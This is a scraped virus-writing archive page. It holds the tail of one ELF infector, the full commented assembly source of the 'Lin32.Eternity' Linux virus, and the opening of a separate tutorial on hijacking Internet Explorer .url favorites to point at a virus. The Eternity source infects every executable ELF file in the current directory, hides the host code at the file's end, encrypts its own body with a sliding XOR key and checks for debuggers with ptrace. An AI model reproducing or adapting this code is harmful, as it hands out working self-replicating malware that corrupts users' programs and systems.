[edx+SHDR_SH_OFFSET] add ebx,dword [edx+SHDR_SH_SIZE] cmp ebx,eax ; if sh_offset + sh_size == old p_filesz je patch_sh_size ; patch the code segment jmp next_shdr_entry patch_sh_size: ; include trailing code in last section ; of code segment (should be .rodata) add ebx,MAGIC_VIRUS_SIZE ; increase lenght of .rodata jmp next_shdr_entry do_patch: add dword [edx+SHDR_SH_OFFSET],MAGIC_VIRUS_SIZE ; patch sh_offset next_shdr_entry: add edx,E_SHENTSIZE ; next SHDR entry loop patch_shdr fuck_em_all: mov ebx,[esp+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd xor ecx,ecx ; ecx=0=beginning of file xor edx,edx ; edx=0=SEEK_SET mov eax,SYS.LSEEK int 0x80 ; seek to end of code segment(old p_filesz) mov ecx,[esp+32] ; old p_filesz mov eax,SYS.LSEEK int 0x80 ; caution: lame coding style ;) ; now we'll need to "save" the original content ; of the file so we can copy it after infecting ; file...therefore we'll use sys.read.. ; like i said ; quite lame ;) mov eax,[esp+32] ; old p_filesz mov ebx,[esp+8] ; file lenght sub ebx,eax sub esp,ebx ; create temporary stack mov edx,ebx mov esi,edx ; ebx=edx=esi=difference ; seeking... mov ebx,[esp+edx+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd mov ecx,[esp+edx+32] ; old p_filesz xor edx,edx ; edx = 0 mov eax,SYS.LSEEK int 0x80 ; reading... mov edx,esi mov ecx,esp mov eax,SYS.READ int 0x80 write_me: ; we'll gonna seek again in the file... ; but this time with the aligned offset(needed ; to insert our virus code properly) mov ebx,[esp+esi+LOCAL_STACK_SZ+PATH_LENGHT+2] ; fd mov ecx,[esp+esi+32] ; old p_filesz ; ALIGN_UP(x) ... add ecx,15 and ecx,~15 xor edx,edx ; edx=0=SEEK_SET mov eax,SYS.LSEEK int 0x80 ; writting... --> pushy mov ecx,pushy mov edx,1 mov eax,SYS.WRITE int 0x80 ; writting... --> original entry point mov ecx,[esp+esi+48] push ecx mov ecx,esp mov edx,4 mov eax,SYS.WRITE int 0x80 pop ecx ; writting... --> till _exit mov ecx,main mov edx,len_till_exit mov eax,SYS.WRITE int 0x80 ; writting...--> virus_code="ret" mov ecx,virus_code mov edx,vircode_len mov eax,SYS.WRITE int 0x80 ; writting...--> after exit mov ecx,test_me mov edx,test_me_len mov eax,SYS.WRITE int 0x80 write_rest_of_file: ; seek after the virus code to insert the rest ; of the file ; seek to beginning of file xor ecx,ecx xor edx,edx mov eax,SYS.LSEEK int 0x80 mov ecx,[esp+esi+32] ; old p_filesz add ecx,MAGIC_VIRUS_SIZE xor edx,edx mov eax,SYS.LSEEK int 0x80 mov ecx,esp mov edx,esi mov eax,SYS.WRITE int 0x80 ; write rest of file add esp,esi ; restoring temporary stack no_insertion_space: unmap: mov eax,SYS.UNMMAP mov ebx,[esp+4] ; mmap addr mov ecx,[esp+8] ; file lenght int 0x80 add esp,LOCAL_STACK_SZ jmp close_target scan_return: add esp,GLOBAL_STRUCT_SZ ret _readdir_error: mov eax,SYS.CLOSE ; close directory mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2] add esp,STRUCT_DIRENT_SZ ; restore dirent structure mov eax,SYS.CHDIR ; move to previous current directory mov ebx,esp ; old PATH int 0x80 jmp _stat_error _open_error: jmp _stat_error _access_error: _stat_error: add esp,GLOBAL_STRUCT_SZ ; restore data allocated for our global structure ret len_till_exit equ $-main _exit: xor eax,eax inc eax int 0x80 test_me: %ifdef FUCK_USER payload db "[[ Cyneox/DCA (C) Copyright 2004 ]]!",0xA len equ $-payload %endif %ifdef FUCK_SYSTEM payload db "<< ..You've been binomitized!.. >> by cyneox",0xA len equ $-payload _system db "/bin",0x0 ; path where to search in when "fucking" up the whole system %endif pushy: push dword 0x0 virus_code: ret vircode_len equ $-virus_code test_me_len equ $-test_mesources
Lin32.Eternity Cyneox ; _ _ ____ _ _ _ ;( ) (_) ___ __ ( __)( ) (_)( ) ;| | _ ____ |_ /|_ | | |_ | | ___ __ ____ _ | | _ _ ;( )_ ( )( __ )__)) /(_ _ ( _) ( _)( o_)( _)( __ )( )( _)( V ) ;/___\/_\/_\/_\\__//___\(_)/____\/_\ \( /_\ /_\/_\/_\/_\ ) / ; /_/ ; __ _ :: Intro ::::::::::::::::::::::: ; Hello out there! I dont't know ; _dP 9m_ why but in the last time I've ; _#P __Author__ 9#_ worked a lot with encryption ; d#@ 9#m tools, methods etc. Thisvirus ; d## Cyneox/rRlf/Helith ### should be the beginning of my ; J### ###L new VXing-era: poly engines, ; {###K J###K metamorphism etc. It took me a ; ]####K ___aaa___ J####F long time to write this virus ; __gmM######_ w#P"" ""9#m _d#####Mmw__ but as you see: I've made it!!! ; _g##############mZ_ __g##############m_ ; _d####M@PPPP@@M#######Mmp gm#########@@PPP9@M####m_ :: Greets :::::::::::::::: ; a###"" ,Z"#####@" '######"\g ""M##m First of all I'd like to ;J#@" 0L "*## ##@" J# *#K thank SPTH for reminding ;#" __Date__ `# "_gmwgm_~ dF __Dedicated__ `#_ me not to stop coding. ;F "#_ ]#####F _dK JE Then a big fat "Thank ; 1.04.2005 *m__ ##### __g@" Caline, my F you" to rembrandt and ; "PJ#####LP" eternal love just dr3f who helped me while ;` 0######_ 4 ' coding the encryption ; _0########_ you !!! routine. ; . _d#####^#####m__ , And a (pi*BIG_FAT)^3 ; "*w_________am#####P" ~9#####mw_________w*" "I Love You" to Caline. ; ""9@#####@M"" ""P@#####@M"" Te Iubesc Iubita Mea!!! ; :: Overview ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; ; * General information * ; Name : Lin32.Eternity ; Author: Cyneox member of rRlf VX Group [http://www.rrlf.de.vu] ; Helith Network [https://vx.helith.net] ; Date : 01.04.2005 ; Size : 3432 ; ; * Technical details * ; Infection : the writes himself at entry point and the original data ; will be stored at EOF ; EPO : Since the memory has WRITE+EXECUTE flags we can simply ; copy the original data from EOF to the entry point of file ; and execute the original code. Data will be only in the memory ; overwriten. ; Target : ELF (Executable and Linking Format) files in the local directory ; Encryption : The virus body will be at run-time encrypted using the "Sliding ; key Encryption" methdod. The encryption will be randomly ; generated using the syscall time(). Then the return value will ; a be a little bit modified so that the encryption key isnt 100% ; dependent from the returned value. ; Decryption : The virus will compare bytewise if the file where its currently ; executed is encrypted. Thats important since the "dropper" ; contains no encrypted data so I had to implement sth for checking ; that ; ; :: About :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; Its about an ELF virus infecting all executables ELF files in the current ; directory. Our virus has a certain size , lets call it "len". If a file is ; found "len" bytes from the entry point of the target will be copied at the ; end of the file. Then our virus will copy himself at the entry point. ; For the first time I'm using a new art of EPO: Like I said "len" is the size ; of our virus body. After executing the virus code will "load" "len" bytes from ; EOF and will store the data at [ebp-d3lta+main], which is the entry point ; of our virus. ; ; Maybe you're asking yourself how is it possible to overwrite data in the ; memory. Well therefore I used mprotect for making the memory region writeable ; and executable. After loading the data from EOF only the data in the memory ; will be overwriten. Overwriting the data in the file will be senseless: The ; virus will be simply overwriten by the original code and thats silly ;) ; ; After infecting other files the infected file will encrypt his virus body ; beginning with [ebp-d3lta+start_virus]. At every execution of the file , a ; new encryption key will be generated making the ecryption routine safer. ; The "dropper" , the 0 generation , contains no encrypted data. Before ; decrypting the code several checks are done whether the virus body is encrypted ; or not. The virus will simply compare the first , 5th , 7th byte beginning ; from [ebp-d3lta+start_virus]. Just look at the code... Its the first virus ; I've commented so well... So have phun !! ;) ; ; :: Contact :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ; W3B: http://cyneox.go.ro ; https://vx.helith.net ; https://vx.helith.net/cyneox/ ; ; M@il: cyneox@helith.net ; ; IRC : #lin32asm , #vxers ; #virus bits 32 global main section .text ;---++++++++++++++++++++++++++ main +++++++++++++++++++++++++++--- main: push eax pushad ; save all registers mov ebx,dword [esp+32+4+4] ; argv[0]=host file which is ; currently executed ; now we'll create position independent code ; so we'll have to calculate absolute addresses ; at run-time. ; ; this is taken from Elf-Virus-Writing-Tutorial ; from Alexander Bartolich: ; The instruction pointer is a register that holds th the address ; of the next instruction to execute. Unlike "real" registers ; there is no direct way to retrieve its value. A call pushes the ; current value of IP onto the stack and adds a relative offset ; to it. Offset 0 just continues with the following instruction. ; And if that instruction is a pop we load the the address of the ; pop instruction itself in a regular register. call d3lta ;---++++++++++++++++++++++++++ d3lt@ ++++++++++++++++++++++++++--- d3lta: pop ebp ; ebp should be addr of d3lta push ebx ; save argv[0] on stack is_encrypted: ; The "dropper" will contain ; no encrypted data...But the infected ; files will do contain encrypted data ;) ; Thats why I'm checking now if the code ; is encrypted or not.... db 0xb9 ; dummy opcode = "mov ecx," encryption_key: dd 8977h ; our dear encryption key ;------------------------------------------------------------- ; Source: objdump -d eternity ; ; 080480ef <start_virus>: ; 80480ef: b8 1a 00 00 00 mov $0x1a,%eax ; 80480f4: 31 db xor %ebx,%ebx ; 80480f6: 31 c9 xor %ecx,%ecx ; ;------------------------------------------------------------- lea ebx,[ebp-d3lta+start_virus] mov cl,[ebx] cmp byte cl,0xb8 ; b8 1a 00 00 00 mov $0x1a,%eax jne Decryption add ebx,5 mov cl,[ebx] cmp byte cl,0x31 ; 31 db xor %ebx,%ebx jne Decryption add ebx,2 mov cl,[ebx] cmp byte cl,0x31 ; 31 c9 xor %ecx,%ecx jne Decryption je start_virus ; if equal --> code isnt encrypted ;---++++++++++++++++++++++++++ Decryption ++++++++++++++++++++++++++--- Decryption: ; Still we're trying to write in the memory ; we'll have to mprotect that memory region ; and make it writable, because we want to ; save the decrypted code in that region. lea ebx, [ebp-d3lta+start_virus] ; const void *addr and ebx, 0FFFFF000h ; Since I dont really know the correct size ; of the code segment I'll asume its 0x3000 ;) mov ecx,0x1000 ; size_t len mov edx, 7 ; int prot PROT_READ|PROT_WRITE|PROT_EXEC mov eax,125 ; SYS.MPROTECT int 0x80 mov ecx,(eternity_end-start_virus)/4 mov ebx,dword [ebp-d3lta+encryption_key] lea esi,[ebp-d3lta+start_virus] mov edi,esi cld loop_it: lodsd ; move dword from [esi] to eax ; and increase "esi" by 4 xor eax,ebx ; the encryption "routine" ;) inc ebx ; increase ebx by 1 stosd ; move dword from "eax" to [edi] ; and increase "edi" by 4 loop loop_it ; ecx -= ecx ; while ecx>0 jmp loop_it_baby ;---+++++++++++++++++++++++ start_virus +++++++++++++++++++++++++--- start_virus: ; Unlike my usual infecting techniques here I'll use ; a new one: I'll put the host code onto the stack, ; mprotect it and then I'll execute this code. ; This is quite usefull since memory operations are ; faster than file/device operations. ; Check if our currently executed programm ; is beeing debugged...Therefore we'll use ; ptrace to check that. ;------------------------------------------------------------- ; ------------------> ANTI-DEBUGG Technique <----------------- ;------------------------------------------------------------- ; NAME ; ptrace - process trace ; ; SYNOPSIS ; #include <sys/ptrace.h> ; ; long ptrace(enum __ptrace_request request, pid_t pid, ; void *addr, void *data); ;------------------------------------------------------------ mov eax,26 ; SYS.PTRACE xor ebx,ebx ; PTRACE_TRACEME : ; Indicates that this process is to be traced ; by its parent xor ecx,ecx ; pid_t pid xor edx,edx inc edx ; void *addr xor esi,esi ; void *data int 0x80 test eax,eax jne near Bye_Bye ; Our programm is beeing ; debugged!!! ; Try to catch the signal SIGTRAP and to handle ; with it. We'll create a "handler"-function ; to handle with our catched signal. ;------------------------------------------------------------- ; ------------------> ANTI-DEBUGG Technique <----------------- ;------------------------------------------------------------- ; NAME ; signal - ANSI C signal handling ; ; SYNOPSIS ; #include <signal.h> ; ; typedef void (*sighandler_t)(int); ; ; sighandler_t signal(int signum, sighandler_t handler); ; ;------------------------------------------------------------ mov eax,48 ; SYS.SIGNAL mov ebx,0x5 lea ecx,[ebp-d3lta+handler] ; signal handler function mov ecx,esp ; handler int 0x80 pop ebx ; argv[0] mov ecx,eternity_end-hostmain ; get offset(distance) between ; start code and end code sub esp, ecx ; create space where to put code lea esi, [ebp-d3lta+hostmain] ; load "source" where to copy data ; from mov edi, esp ; destination rep movsb ; copy data from esi to edi jmp esp ; jump to copied code on the stack ;---++++++++++++++++++++++ hostmain +++++++++++++++++++++++++--- hostmain: push ebx ; argv[0] = host file ;---------------------------------- --------------------------- ; NAME ; mprotect - control allowable accesses to a region of memory ; ; SYNOPSIS ; #include <sys/mman.h> ; ; int mprotect(const void *addr, size_t len, int prot); ;------------------------------------------------------------- lea ebx, [ebp-d3lta+main] ; const voi *addr and ebx, 0FFFFF000h ; Since I dont really know the correct size ; of the code segment I'll asume its 0x3000 ;) mov ecx, 0x3000 ; size_t len mov edx, 7 ; int prot PROT_READ|PROT_WRITE|PROT_EXEC mov eax,125 ; SYS.MPROTECT int 0x80 ; opening host file in O_RDONLY only modus pop ebx ; argv[0] xor ecx, ecx ; ecx = 0 = O_RDONLY mov eax,5 ; SYS.OPEN int 0x80 ; checking for returned file descriptor cmp eax,0xFFFFF000 ; Another implementation: ja Bye_Bye ; cmp eax,0x0 ; jl Bye_Bye call point ; a real interesting method to declare db '.',0 ; data and initialize registers with it point:pop esi ; esi = "." push eax ; save file descriptor of host ; on the stack call search_in_direc ; go search for it baby! pop ebx ; saved fd of host ;---++++++++++++++++++ EternityHost ++++++++++++++++++++++++++--- ;--- Desc : Move to end of file and copy the original code ; to the original entry point and execute it. ;--- INPUT : ebx (containing file descriptor of host file) ;--- OUTPUT : [none] ;---------------------------------------------------------------- EternityHost: ;------------------------------------------------------------- ; NAME ; lseek - reposition read/write file offset ; ; SYNOPSIS ; #include <sys/types.h> ; #include <unistd.h> ; ; off_t lseek(int fildes, off_t offset, int whence); ;------------------------------------------------------------- xor edx, edx ; edx = 0 = SEEK_SET db 0xb9 ; opcode for "mov ecx," seek_bytes: dd 00000000h ; sizeof(target_file) mov eax,19 ; SYS.LSEEK int 0x80 ; The return value of sys.lseek will be checked... ; If sys.lseek seeked successfully to that offset ; that means that this code is currently executed ; by an infected file... ; If sys.lseek seeked unsuccessfully that means ; that this is the first execution of our virus... or eax, eax jnz restore_code ; execute original target code jmp Bye_Bye ; its the "dropper" --> exit ;---++++++++++++++++++++ restore_code ++++++++++++++++++++++++--- restore_code: ; Read "eternity_end-main" bytes from the end of the file ; and copy the data to [ebp-d3lta+main] ; Remember: Our code should be independent and that means ; that we're using only offsets. ;------------------------------------------------------------- ; NAME ; read - read from a file descriptor ; ; SYNOPSIS ; #include <unistd.h> ; ; ssize_t read(int fd,void *buf,size_t count); ;------------------------------------------------------------- lea ecx, [ebp-d3lta+main] ; void *buf push ecx pop esi mov edx, eternity_end-main ; size_t count mov eax,3 ; SYS.READ int 0x80 ; Close file descriptor... mov eax,6 ; SYS.CLOSE int 0x80 add esp,eternity_end-hostmain ; free stack mov dword [esp+32], esi ; its like an entrypoint popad ; restore registers ret ; return to host code ;---++++++++++++++++++++++++++ Bye_Bye ++++++++++++++++++++++++++--- Bye_Bye: mov eax,4 ; SYS.WRITE mov ebx,1 ; stdout lea ecx, [ebp-d3lta+Copyright] mov edx,dword [ebp-d3lta+copy_lenght] int 0x80 popad xor eax,eax inc eax int 0x80 ; SYS.EXIT ;################ END OF ETERNITYHOST ######################### ;---+++++++++++++++++++ search_in_direc +++++++++++++++++++++++--- ;--- DESC. : searches for files in esi (see below) ;--- INPUT : esi = name of directory where to search for files ;--- OUTPUT: [none] ;----------------------------------------------------------------- search_in_direc: mov ebx,esi ; directory name xor ecx,ecx ; ecx = 0 = O_RDONLY mov eax,0x5 int 0x80 ; SYS.OPEN cmp eax,0x0 jb near go_back ; Another implementation: ; or eax,eax ; jz go_back push eax ; push fd onto stack pop dword [ebp-d3lta+DirName] ; save fd to DirName ;---+++++++++++++++++++++ search4files ++++++++++++++++++++++++--- ;--- DESC. : loop label to search only regular files in esi ;--- INPUT : esi = name of file in the directory ;--- OUTPUT: [none] ;----------------------------------------------------------------- search4files: ;------------------------------------------------------------- ; NAME ; readdir - reads an directory entry ; ; SYNOPSIS ; #include <unistd.h> ; #include <linux/dirent.h> ; #include <linux/unistd.h> ; ; _syscall3(int, readdir, uint, fd, struct dirent *, dirp, uint, count); ; ; int readdir(unsigned int fd, struct dirent *dirp, unsigned int count); ;------------------------------------------------------------- lea ecx,[ebp-d3lta+DirentStruct] mov ebx,dword [ebp-d3lta+DirName] mov eax,89 int 0x80 ; SYS.READDIR or eax,eax ; Another implementation: jz go_back ; cmp eax,0x1 ; jne go_back add ecx,0xA ; file name in the DirentStruct mov esi,ecx ; save file name to esi ;------------------------------------------------------------- ; NAME ; lstat - list status of files ; ; SYNOPSIS ; #include <sys/types.h> ; #include <sys/stat.h> ; #include <unistd.h> ; ; int lstat(const char *file_name, struct stat *buf); ;------------------------------------------------------------- mov ebx,esi lea ecx,[ebp-d3lta+StatStruct] mov eax,107 int 0x80 ; SYS.LSTAT cmp eax,0x0 jb go_back movzx eax,word [ecx+0x8] ; get st_mode ; movzx will copy the 0 too mov ebx,eax ; Check if its a regular file.We dont want to infect ; directories ;) and ebx,0000F000h ; file mask cmp ebx,00008000h ; REG_FILE !? jnz next_entry ; Check if its user file and the most important ; thing: If it can be executed by the current user ;------------------------------------------------------------- ; Source: /usr/include/bits/stat.h ; ; #define __S_IEXEC 0100 /* Execute by owner. */ ; --> 0100(octal) = 40(hex) ;------------------------------------------------------------- and eax,00000040h ; eax = st_mode or eax,eax ; Another implementation: jz next_entry ; cmp eax,00000040h ; jne next_entry found_file: call Inf3ct_Fil3 ; heheh...my favourite function ; Dont accuse me for beeing sarcastic ;) next_entry: jmp search4files go_back: ret ;################ END OF SEARCH_IN_DIREC ######################### ;---++++++++++++++++++++++ Inf3ct_Fil3 ++++++++++++++++++++++++--- ;--- DESC. : Fuck up ELF executables ;--- INPUT : esi = ELF file ;--- OUTPUT: [none] ;----------------------------------------------------------------- Inf3ct_Fil3: ; Open ELF file for read & write xor ecx,ecx mov ecx,2 ; O_RWONLY mov ebx,esi ; ELF file name mov eax,5 int 0x80 ; SYS.OPEN cmp eax,0 ; Another implementation: jl near Inf3ct_failed ; cmp eax,0xfffff000 ; ja Inf3ct_failed mov dword [ebp-d3lta+ELF_FD],eax ; save fd to ELF_FD ; Now we must find out file's size in order ; to mmap it later.Therefore we'll use lssek() xor ecx,ecx ; ecx = 0 = offset mov edx,2 ; SEEK_END mov ebx,eax ; file descriptor mov eax,19 int 0x80 ; SYS.SEEK mov dword [ebp-d3lta+seek_bytes],eax ; "update" seek_bytes with ; sizeof file ; Prepare for Mmap_Fil3 mov ebx,[ebp-d3lta+ELF_FD] xchg eax,ecx ; ecx = sizeof file call Mmap_Fil3 cmp eax,-1 ; Another implementation: je near Mmap_failed ; inc eax ; jz near Mmap_failed mov dword [ebp-d3lta+Mmap_Addr],eax mov esi,dword [ebp-d3lta+Mmap_Addr] ; CAUTION: Viral Sequence beginns here. ; : Infection Countdown started... ;---+++++++++++++++++++++ check_if_ELF ++++++++++++++++++++++++--- check_if_ELF: ;------------------------------------------------------------- ; Source: hexdump -C elf_file | sed 1q ; ; 00000000 7f 45 4c 46 01 01 01 |.ELF...| ;------------------------------------------------------------- mov eax,dword [esi] cmp eax,0x464c457f ; hex for ".ELF" jne near Unmmap movzx eax,word [esi+40] ; EHDR size mov ebx,dword [esi+24] ; entry point movzx ecx,word [esi+44] ; ehdr.e_phnum movzx edx,word [esi+42] ; ehdr.e_phentsize mov edi,esi ; esi = edi = Mmap_Addr add edi,eax ; move to PHT( Program Header Table) ;------------------------------------------------------------- ; Source: readelf elf_file -l ; ; Program Headers: ; Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align ; PHDR 0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4 ; INTERP 0x000114 0x08048114 0x08048114 0x00013 0x00013 R 0x1 ; [Requesting program interpreter: /lib/ld-linux.so.2] ; LOAD 0x000000 0x08048000 0x08048000 0x00484 0x00484 R E 0x1000 ; LOAD 0x000484 0x08049484 0x08049484 0x00100 0x00104 RW 0x1000 ; DYNAMIC 0x000498 0x08049498 0x08049498 0x000c8 0x000c8 RW 0x4 ; NOTE 0x000128 0x08048128 0x08048128 0x00020 0x00020 R 0x4 ; STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 ;------------------------------------------------------------- ; As we can see only those LOAD segments could be potencially ; virus infection targets. Its a very intelligent implementation ; to check if the entry point is smaller than p_paddr + p_memsz ; since we want to insert our virus after the entry point ;) ; On UNIX platforms there are some exotic ELF file samples: a few of ; them have the data segment and the code segment in one segment: ; the code segment.Well only VXer do crazy things like this but ; but it was just an example... :P ; Now we'll search for the PHDR entry,where p_paddr + ; p_memsz > entry point get_phdr: mov eax,dword [edi+12] ; phdr.p_paddr add eax,dword [edi+20] ; p_memsz cmp ebx,eax ; if entry point is smaller ; than p_paddr + p_memsz then jump jl got_phdr add edi,edx ; move to next PHDR entry loop get_phdr jmp Unmmap ; if nothing found then exit ;---++++++++++++++++++++++++++ got_phdr ++++++++++++++++++++++++++--- got_phdr: mov esi,dword [esi+24] ; entry point ; Figure out offset to entry code by subtracting the ; PhsyAddr from the code segment from the entry point sub esi,dword [edi+8] ; edi+8 = PhysAddr mov ebx,esi add esi,dword [ebp-d3lta+Mmap_Addr] ; jump to entry point in the mmap ; file ; Check if our target file has been already infected ; by Linux.Eternity (c) by Cyneox ;)) mov eax,dword [ebp-d3lta+main] cmp dword [esi],eax jz near Unmmap ; already infected :( ; Check if there is enough place where to insert ; our viral code... mov eax,dword [edi+20] sub eax,ebx mov ecx,eternity_end-main cmp eax,ecx jb near Unmmap ; segment too small ; Creating a stack frame where to insert ; our host code... sub esp,eternity_end-main ; Write host code into that frame mov ebx,esi ; esi = source mov ecx,eternity_end-main mov edx,ecx ; lenght mov edi,esp ; destination rep movsb ; copy from esi to edi ; Write viral code at the entry point of ; mmaped file... ; First of all write until "start_virus"... xchg ebx,edi ; ebx=esp ; edi=esi ; Generate random number used as encryption key ; time() returns the time since the Epoch (00:00:00 UTC, ; January 1, 1970), measured in seconds. ; Those seconds represent a wonderfull randomly generated ; encryption key ... ;) mov eax,13 ; SYS.TIME mov ebx,dword [ebp-d3lta+Time] int 0x80 ; eax will contain a radomly generated number... and eax,0x9d2c and eax,0xefc6 mov dword [ebp-d3lta+encryption_key],eax ; update encryption key lea esi,[ebp-d3lta+main] mov ecx,start_virus-main rep movsb ; Write after "start_virus"... add edi,ecx ; update destination push edi lea esi,[ebp-d3lta+start_virus] mov ecx,eternity_end-start_virus rep movsb ;---+++++++++++++++++++++ Encryption ++++++++++++++++++++++++--- ; Using "Sliding Key Encryption" method... ; Its actually a "xor"-encryption while increasing the encryption key ; by 1. The cool thing about this method is following: ; ; Lets say we have this data : AABCC ; And our encryption key is : KBKBK ; ; In the first loop A will be encrypted with K , but in the second ; loop A will be encrypted with B. Thats a sory of polyalphabetical ; enciphering (pls visit my site to read something about that enciphering ; method). And that makes our encryption even more securer. ; If somebody looks at this encrypted code, they won't be able to tell that ; the two characters are the same when unencrypted. Encryption: pop edi mov esi,edi mov ecx,(eternity_end-start_virus)/4 mov ebx,dword [ebp-d3lta+encryption_key] cld loop_encrypt: lodsd ; load dword from [esi] to [eax] xor eax,ebx ; encryption inc ebx ; increase ebx stosd ; store dword from [eax] to [edi]=[esi] loop loop_encrypt ; loop until ECX>0 lea esi,[ebp-d3lta+main] ; Now we'll unmmap our target and write the original ; host code at the end of the file... mov ecx,dword [ebp-d3lta+seek_bytes] ; sizeof file mov ebx,dword [ebp-d3lta+Mmap_Addr] mov eax,91 ; SYS.UNMMAP int 0x80 ;------------------------------------------------------------- ; Source: ls -l ./gcc ; -rwxr-xr-x 1 cyneox users 98665 2005-03-20 17:09 gcc ; ; Size of target before virus infection... ;------------------------------------------------------------- ; Write host code at EOF mov ecx,esp mov edx,eternity_end-main mov ebx,dword [ebp-d3lta+ELF_FD] ; file descriptor mov eax,0x4 ; SYS.WRITE int 0x80 ;------------------------------------------------------------- ; Source: ls -l ./gcc ; -rwxr-xr-x 1 cyneox users 100178 2005-03-20 17:11 gcc ; ; Size of target AFTER virus infection ... ;------------------------------------------------------------- add esp,eternity_end-main ; restore frame ; This is a "copyright" function to ; append my message. sub esp,dword [ebp-d3lta+Appendix_lenght] mov edi,esp ; direction lea esi,[ebp-d3lta+Appendix] mov ecx,dword [ebp-d3lta+Appendix_lenght] mov edx,ecx rep movsb mov edx,ebx mov eax,4 ; SYS.WRITE mov ebx,edx ; write to file descriptor mov ecx,esp ; write from stack mov edx,dword [ebp-d3lta+Appendix_lenght] int 0x80 add esp,dword [ebp-d3lta+Appendix_lenght] ; restore stack jmp Mmap_failed ;---++++++++++++++++++++++++++ Unmmap ++++++++++++++++++++++++++--- Unmmap: mov ecx,dword [ebp-d3lta+seek_bytes] ; size mov ebx,dword [ebp-d3lta+Mmap_Addr] ; mmap addr mov eax,91 int 0x80 ; SYS.UNMMAP Mmap_failed: mov ebx,dword [ebp-d3lta+ELF_FD] mov eax,6 int 0x80 ; SYS.CLOSE Inf3ct_failed: ret ;################# END OF INF3CT_FIL3 ############################ ;---++++++++++++++++++++++ Mm@p_Fil3 ++++++++++++++++++++++++++--- ;--- DESC. : Map file in the memory ;--- INPUT : ebx = file descriptor ; : ecx = size ;--- OUTPUT: eax = addr of memory map ;----------------------------------------------------------------- Mmap_Fil3: ;------------------------------------------------------------- ; NAME ; mmap - save data into memory ; ; SYNOPSIS ; #include <unistd.h> ; #include <sys/mman.h> ; ; void * mmap(void *start, size_t length, int prot , int flags, int fd, ; off_t offset); ;------------------------------------------------------------- lea esi,[ebp-d3lta+MmapStruct] mov dword [esi+4],ecx ; sizeof file mov dword [esi+16],ebx ; file descriptor xchg ebx,esi mov eax,90 int 0x80 ; SYS.MMAP ; Another implemenatation; ; mov eax,90 ; mov edx,ebx ; sub esp,24 ; mov dword [esp],0x0 ; mov dword [esp+4],ecx ; mov dword [esp+8],3 ; mov dword [esp+12],1 ; mov dword [esp+16],edx ; mov dword [esp+20],0 ; mov ebx,esp ; int 0x80 ; add esp,24 ret ;---++++++++++++++++++++++++++ __exit ++++++++++++++++++++++++++--- __exit: xor eax,eax ; eax = 0 inc eax ; eax = 1 int 0x80 ; SYS.EXIT ;---+++++++++++++++++++++++ host_end ++++++++++++++++++++++++++--- host_end: ;---++++++++++++++++++++++++ handler +++++++++++++++++++++++++--- handler: push ebp mov esp,ebp ; simply do nothing while program ; receives signal SIGTRAP pop ebp ret DirName dd 00000000h ; directory name ELF_FD dd 00000000h ; ELF file descriptor Mmap_Addr dd 00000000h ; MMAP address Time dd 00000000h ; variable used by syscall time() Copyright: db ":::.Lin32.Eternity by Cyneox/rRlf.:::",0xa,0x0 msg: db "Te iubesc, te doresc, mai mult ca viata mea...",0xa,0x0 db "Numai tu si Dumnezeu sunteti inima mea.",0xa,0xa,0x0 db "Caline, my eternal love just for you!",0xa,0x0 db "by Cyneox/rRlf [24.03.2005]",0xa,0x0 copy_lenght dd $-Copyright Appendix: db "Lin32.Eternity by Cyneox/rRlf/Helith [March 2005]",0xa,0x0 Appendix_lenght dd $-Appendix copyright_end: ;----------------------------------------------------------------- ; Source: /usr/include/asm/stat.h ; struct stat { ; unsigned short st_dev; ; unsigned short __pad1; ; unsigned long st_ino; ; unsigned short st_mode; ; unsigned short st_nlink; ; unsigned short st_uid; ; unsigned short st_gid; ; unsigned short st_rdev; ; unsigned short __pad2; ; unsigned long st_size; ; unsigned long st_blksize; ; unsigned long st_blocks; ; unsigned long st_atime; ; unsigned long __unused1; ; unsigned long st_mtime; ; unsigned long __unused2; ; unsigned long st_ctime; ; unsigned long __unused3; ; unsigned long __unused4; ; unsigned long __unused5; ;}; ;-------------------------------------------------------------- StatStruct: dw 0000h ; st_dev dw 0000h ; __pad1 dd 00000000h ; st_ino dw 0000h ; st_mode dw 0000h ; st_nlink dw 0000h ; st_uid dw 0000h ; st_gid dw 0000h ; st_rdev dw 0000h ; __pad2 dd 00000000h ; st_size dd 00000000h ; st_blksize dd 00000000h ; st_blocks dd 00000000h ; st_atime dd 00000000h ; __unused1 dd 00000000h ; st_mtime dd 00000000h ; __unused2 dd 00000000h ; st_ctime dd 00000000h ; __unused3 dd 00000000h ; __unused4 dd 00000000h ; __unused5 ;-------------------------------------------------------------- ; Source: /usr/include/bits/dirent.h ; struct dirent ; { ;#ifndef __USE_FILE_OFFSET64 ; __ino_t d_ino; ; __off_t d_off; ;#else ; __ino64_t d_ino; ; __off64_t d_off; ;#endif ; unsigned short int d_reclen; ; unsigned char d_type; ; char d_name[256]; /* We must not include limits.h! */ ; }; ;-------------------------------------------------------------- DirentStruct: dd 00000000h ; d_ino dd 00000000h ; d_off dw 0000h ; d_reclen times 256 db 00h ; d_name[256] MmapStruct: dd 00000000h ; addr dd 00000000h ; lenght dd 00000003h ; prot: PROT_WRITE|PROT_READ dd 00000001h ; flags: MAP_PRIVATE dd 00000000h ; file descriptor(fd) dd 00000000h ; offset testing times 11 db 00h eternity_end:articles
Your favorites, my victims - .url infection in JavaScript DiA Your favorites, my victims - .url infection in JavaScript --------------------------------------------------------- by DiA (c)04 GermanY www.vx-dia.de.vu DiA_hates_machine@gmx.de ____________________________________________________________________________________________ Do with this code what you want. I am not responsible for things you do. If you write new code, or rewrite this, YOU and only YOU are responsible for this code. Take care! __________________________ | 1. Intro | | 2. URL file format | | 3. Code with description | | 4. Idea's and Goal's | | 5. Outro | |__________________________| 1. Intro -------- Everybody has favorite site's in the i-net. But they can't remember all the URL's, so they add every site they use to the "favorites". You can found them on IE under menu "favorites" (what else?!). But you will only see the page's title, like "VX Heavens" or "vx - DiA" ;). But where are the link's to this sites? It store's as *.url file in the "favorites" folder in windows, like "C:\Windows\Favorites\". In this tut we want to overwrite this *.url files, with a .url file linked to our Virus. Let's do this... ...have fun! 